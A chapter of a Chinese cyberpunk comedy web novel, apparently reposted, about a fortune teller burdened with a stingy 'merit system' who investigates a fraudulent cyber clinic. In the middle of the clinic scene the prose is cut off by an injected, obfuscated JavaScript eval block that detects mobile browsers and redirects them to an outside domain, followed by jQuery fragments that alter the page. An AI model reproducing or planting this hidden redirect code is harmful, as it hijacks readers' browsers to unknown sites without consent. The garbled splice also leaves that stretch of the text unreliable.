系统声音出现的一瞬间，羊铮脑袋里的弦啪地一声断了。


    完了，忍不住多嘴了。


    自己穿越回到五秒前还来得及吗？


    面前那位邻居十分茫然道：“啊？大师，什么是非洲？”


    “你可以理解成跟C区差不多。”羊铮的表情一时间十分难看。


    当事人表示后悔，非常后悔。


    仅仅到手十分钟的功德就这样没了，羊铮一时间不知道如何形容自己此刻的心情，心里不由得怒骂了一遍这个所谓的功德系统。


    这怕不是缺德系统吧！


    见羊铮站在门口迟迟没有动作，这位破产的邻居锲而不舍地问道：“大师真的没有办法拯救我的公司了吗？”


    羊铮怨气无处发泄，语气听起来有些气急败坏：“无解！自求多福吧！”


    “啪”地一声，她重重地关上门，将这位坏事的邻居隔绝在门外，顺便招呼管家机器人将这位邻居赶远了。


    从今往后，邻居与狗不得靠近！


    屋内开着一盏暖灯，一旁的加湿器正嗡嗡地工作着，听到主人回家的声音智能家政已经开始在浴缸里放出热水，扫地机咕噜噜地滚到了羊铮的脚边，似乎并不明白门口什么时候多了这么大的家具。


    一只机械鸟停在了到了羊铮肩膀上，它的嘴仿佛得到了羊铮真传：“欢迎回家，我亲爱的，今天的您心情看起来格外糟糕呢。”


    是的，羊铮的心情非常郁闷，还无处发泄。


    这个八哥形状的机械鸟名叫小莫是由一种高级的变形材料制成的，是早些年羊铮赚了第一桶金时在黑市买的，当时看它可怜买了这只瘸腿八哥想着也能守个家，后来不知道哪段程序出了问题，它不仅话痨似乎还受到了羊铮的一些耳目濡染变得十分嘴毒，吐槽外人罢了还喜欢攻击自家主人。


    羊铮时常带着这只瘸腿八哥出去溜，如果有人夸它可爱就能毫不犹豫地送了。


    可迄今为止都没有对这只乌鸡夸下海口。


    小莫：“亲爱的，您现在的表情像刚死了老公一样。”


    “闭嘴。”羊铮面无表情道。


    如果你知道我被迫绑定了功德系统你也会觉得我命苦。


    不过此刻羊铮实在没有心情去理会它，她深吸一口气，望着自己那个系统面板十分惆怅。


    【功德值：0】


    不过既然今天自己帮委托人解决了变态邻居算是另一种角度的善事，只要自己一直坚持做委托那么积攒功德也指日可待了。


    不过……


    “系统，你凭什么扣我功德？”羊铮咬着牙，恶狠狠地问道。


    【目前您的功德并不足以支撑您说地狱笑话，请宿主勤奋积攒功德】


    羊铮：……


    行，现在说话都要看功德了是吧？


    那我不说就是了！


    羊铮重新坐在了工作台，终端自带的虚拟屏幕瞬间将整个桌面都铺展开，而羊铮最后浏览的页面赫然是自己发布委托的社交软件。


    在昨天发布的委托帖子下面已经有了一条新的匿名好评，不用想都知道来自于谁，有了这一条好评，羊铮昨天的帖子又增加几个评论。


    基本上都是关于线上询问算命的


    心如止水：大师，我儿子去世要烧多少纸钱合适啊，我怕他在下面乱花钱


    羊铮：不用烧钱你托梦给你儿子让他在下面打工，每个月他烧钱给你。


    她皱着眉看着这条私信，实在不明白对面是怎么想的，本就因为没有功德不怎么开朗的心情更加不好了，连说话都带着阴阳怪气。


    显然对面相信了。


    叮咚。


    一声清脆的声音响起。


    是功德系统奖励的声音。


    【恭喜宿主功德积分+0.4】


    “这是什么？”


    羊铮一顿，有些不可置信地瞪大了眼睛，自己明明什么都没干，怎么突然有了奖励？


    这个功德积分又是什么？


    【因宿主功德功德积攒困难，暂时给宿主提供新功能——功德积分】


    羊铮心想，没想到你这系统还挺人性化？


    结果下一秒。


    【所谓功德积分，需要宿主凑齐1积分即可兑换功德值】


    【功德值为1时，该功能消失】


    【时间仅剩二十四小时，宿主请抓紧时间搜集功德积分】


    “还需要我来凑？你是什么砍少少吗？”羊铮嘲讽一笑，“后面是不是还给我10个碎片才能给我换0.1积分？”


    系统没有理会她的嘲讽。


    羊铮也懒得管这个黑心系统了，她靠在椅子上开始思考，这个功德系统凑齐功德非常困难，稍不注意就会扣了功德。


    目前来看也就去搜集所谓的功德积分最容易也是最简单。


    羊铮的手指在键盘上虚点了两下，根据刚才的记忆，只要自己继续在网络上怼这些地狱笑话也能积攒功德？


    她简单地在网络上搜索了一下，一条醒目的信息弹了出来——赛博问诊，不准不要钱”。


    羊铮忍不住皱眉：“现在怎么连赛博问诊都有了？”


    小莫飞到了羊铮的肩头：“你连赛博算命都弄出来了，赛博问诊就不要那么惊讶了吧！”


    整张传单像是被AI草草生成的产物——除了开头的宣传语还算通顺，下面的正文错字连篇，语句支离破碎。


    像是一群十分潦草的骗局。


    "3信用点的赛博问诊......"羊铮看着这个标题，指腹摩挲着纸张边缘的毛边，"这骗局倒是标新立异。"


    她看着这个低水准的骗局若有所思，心里忽然有了新的想法。


    "你要去？"蹲在她肩头的小莫歪了歪机械脑袋，电子眼闪烁。


    "当然。"羊铮将传单折好塞进口袋，义正言辞道："作为合法经营者，我们有义务揭露这种欺诈行为。"


    小莫：？


    等等，你有资格说这句话吗？


    小莫的机械程序实在是弄不懂自己主人的脑回路，它那简单的程序运行了一下，拇指大的脑袋只装得下芯片，五秒后总结出来了。


    他鸟的！这人就是怕同行抢她生意！


    -


    这家诊所开在B区的边缘，看起来十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044643|178952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分不起眼，生锈的招牌上，"赛博诊疗"四个字正在漏电，发出垂死般的嗡鸣。


    诊所内部比想象中的拥挤。


    冷白色的LED灯管在天花板上排成规整的网格，将整个空间切割成无数个规整的立方体，空气中漂浮着淡淡的消毒水气味，混合着某种电子元件过热后的焦味，像是有人把手术刀插进了显卡里。


    诊所的核心区域被划分成数十个透明隔间，每个隔间不过两平米见方，透过磨砂玻璃，能看见里面伸出的机械臂——银白色的医用机械手悬浮在诊疗台上方，关节处泛着幽蓝的冷光，一旁是一个袖珍显示器，上面投放着病历。


    候诊区挤满了人——不，严格来说不全是"人"，有半边脸覆盖着金属的机器人，有脖颈后插着数据管的公司职员，甚至还有和刚才推进去一样的仿生人。


    羊铮眯了眯眼，看起来这个赛博诊所什么样到东西都能收。


    "下一位病人请前往7号隔间。"


    机械合成的男声从头顶落下，一个驼背老人颤巍巍地走进隔间，隔着玻璃羊铮看见机械手对着老人做出一个请的手势。


    老人这下开口了：“医生，我得了绝症请问我还能活多久？”


    机械手伸出五根手指，比了一个“5”。


    老人这下不明白了：“什么5？五年？五十年还是五个月？”


    下一秒，机械手大拇指一动换成了四根手指。


    羊铮：……


    她觉得自己要去敲点木鱼了。


    大概将这个所谓的赛博诊所逛了一圈，除了不靠谱，羊铮并没有觉得任何不对劲。


    “这家诊所还真是明目张胆地说抢钱啊。”肩膀上的小莫评价道，站在羊铮的肩膀上扑簌着翅膀，“没想到这群没感情的无机物也开始学着欺诈消费者了！我要打12315举报它们！”


    “省省力吧，他们可能连营业执照都没有。”羊铮已经通过终端将这里的情景汇报上去了。


    正对面的隔间，是一个人类，男人面色苍白，吊着一只胳膊正对着面前的医生哭诉：“医生，我的病还没好吗？”


    这一次的医生不是机械手而是一个人，看起来是诊所里的主治医生。


    这倒是奇怪。


    “记得帮我跟你爸爸问好。”这位人类医生回答道。


    病人面露恐慌：“可是我的爸爸已经死了。”


    医生：“我知道。”


    空气凝固了，一分钟后反应过来的男人倒吸一口凉气，就这样吓得直愣愣地倒了过去。


    像是熟悉这套流程，机械手医生摆摆手，示意护士进来，看着护士干净利落地将男人抬上担架送走，这间主治医师的隔间终于没人了。


    隔间门大大敞开，主治医生的话从里面传来，对着羊铮说道：


    “门口的病人，你怎么还不进来？”


    隔着一扇门羊铮与这位主治医生对视了一眼，虽然说是人类，但是这位主治医生的脑后链接着一根管子，长长的管子一直绵延到墙后，乍一看就像是被操控的人偶。


    羊铮眯了眯眼，很快就判断出来，这个人就是她今天的目标。